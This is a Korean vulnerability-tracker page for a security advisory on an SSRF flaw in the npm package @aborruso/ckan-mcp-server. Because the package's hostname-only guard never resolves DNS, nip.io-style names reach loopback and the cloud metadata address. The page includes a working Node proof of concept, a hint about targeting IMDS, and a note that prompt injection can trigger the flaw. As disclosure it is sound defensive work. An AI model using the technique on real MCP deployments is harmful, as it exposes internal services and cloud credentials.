Kestrel
대시보드로 돌아가기
CVE-2026-61612MEDIUM· 5.7MITRENVDGHSA대응게시일: 2026. 09. 21.수정일: 2026. 09. 22.

@aborruso/ckan-mcp-server has SSRF via DNS-name → internal IP — incomplete fix of CVE-2026-53509

SSRF

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
5.7medium

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용필요
범위불변
영향
기밀성 영향높음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.15.7MODERATE
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

상세 설명

Summary

The SSRF guard validateServerUrl (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the hostname string and never resolves DNS. Any caller-supplied server_url whose hostname resolves to an internal address passes the guard, so the server issues requests to loopback and cloud metadata (169.254.169.254). This is a third bypass of the same guard, still present in the current latest 0.4.107, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback.

Affected / patched

  • @aborruso/ckan-mcp-server (npm) — all versions with the guard, through 0.4.107 (current latest). The guard has never resolved DNS. No patch yet.

Severity

It is effectively High for the self-hosted unauthenticated HTTP transport (TRANSPORT=http, POST /mcp), where any remote client reaches IMDS/internal hosts directly. The official Cloudflare Worker endpoint is CF-sandboxed (cannot reach loopback/RFC-1918/IMDS).

Root cause — src/utils/http.ts, validateServerUrl

The guard blocks IP literals and three loopback alias strings, but does no name resolution:

text
1const hostname = parsed.hostname.toLowerCase();
2if (new Set(['localhost','ip6-localhost','ip6-loopback']).has(hostname)) throw; // string denylist
3if (hostname.match(/^(\d+)\.(\d+)\.(\d+)\.(\d+)$/)) { /* block private/special IPv4 LITERALS */ }
4// no DNS resolution → a hostname that RESOLVES to 127.0.0.1 / 169.254.169.254 / 10.x is allowed

Both prior fixes only added literal strings to the denylist (CVE-2026-33060 added the guard; CVE-2026-53509 added ip6-localhost/ip6-loopback). The DNS-resolution gap — the actual root cause — remains. server_url is a caller-controlled argument (z.string().url()) on every tool, reaching makeCkanRequest (all CKAN tools) and querySparqlEndpoint (sparql_query). The sink is non-blind: a non-CKAN response is returned to the caller verbatim via CKAN API returned success=false: <body>.

Note: numeric-IP encodings (decimal 2130706433, short 127.1, hex 0x7f.0.0.1) do not bypass — Node's WHATWG new URL() canonicalizes them to dotted-decimal before the regex. Only the DNS-name vector bypasses.

Proof of concept

Drives the published server over the MCP protocol via the public ckan_package_search tool. Local-only: the loopback server stands in for an internal/IMDS endpoint.

text
1npm install @aborruso/ckan-mcp-server@0.4.107 @modelcontextprotocol/sdk
2node poc.mjs
python
1import http from 'node:http';
2import { Client } from "@modelcontextprotocol/sdk/client/index.js";
3import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";
4
5const SECRET = 'INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE';
6const internal = http.createServer((_req, res) => {
7 res.writeHead(200, { 'content-type': 'application/json' });
8 res.end(JSON.stringify({ Token: SECRET })); // stand-in for an IMDS / internal response
9});
10await new Promise(r => internal.listen(0, '127.0.0.1', r));
11const port = internal.address().port;
12
13const client = new Client({ name: "ssrf-poc", version: "1.0.0" });
14await client.connect(new StdioClientTransport({
15 command: "node", args: ["node_modules/@aborruso/ckan-mcp-server/dist/index.js"]
16}));
17
18// nip.io is public wildcard DNS: <ip>.nip.io -> <ip>. The guard sees hostname "127.0.0.1.nip.io"
19// (not a literal, not in its denylist) and allows it; the request resolves to 127.0.0.1.
20// Use 169.254.169.254.nip.io to reach IMDS on a cloud host.
21const evil = `http://127.0.0.1.nip.io:${port}/`;
22const res = await client.callTool({ name: "ckan_package_search", arguments: { server_url: evil, q: "x" } });
23
24const text = res.content?.[0]?.text || JSON.stringify(res);
25console.log("SSRF:", text.includes(SECRET) ? "YES — internal server reached, body returned to caller" : "no");
26console.log(text.slice(0, 220));
27await client.close(); internal.close();

Output:

text
1SSRF: YES — internal server reached, body returned to caller
2CKAN API returned success=false: {"Token":"INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE"}

A real attacker uses any domain with an A/AAAA record pointing at an internal IP, or DNS rebinding; nip.io just makes the PoC self-contained.

Impact

Caller-controlled SSRF to loopback, RFC-1918 hosts, and 169.254.169.254 (cloud IMDS → IAM credentials), with the response body returned to the caller (non-blind). In the default stdio deployment this requires prompt injection to steer the tool argument; the self-hosted HTTP transport is unauthenticated, so any remote client can trigger it directly.

Suggested fix

Resolve the hostname and validate every resolved IP against the private/special ranges, then pin the connection to the validated IP (custom lookup/agent) so a re-resolve cannot rebind to an internal address — or require the existing CKAN_ALLOWED_DOMAINS allowlist (default-deny, especially for the HTTP transport). A hostname-string denylist cannot close this class.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.